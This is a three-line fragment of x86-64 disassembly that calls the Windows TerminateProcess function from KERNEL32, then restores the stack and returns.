call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret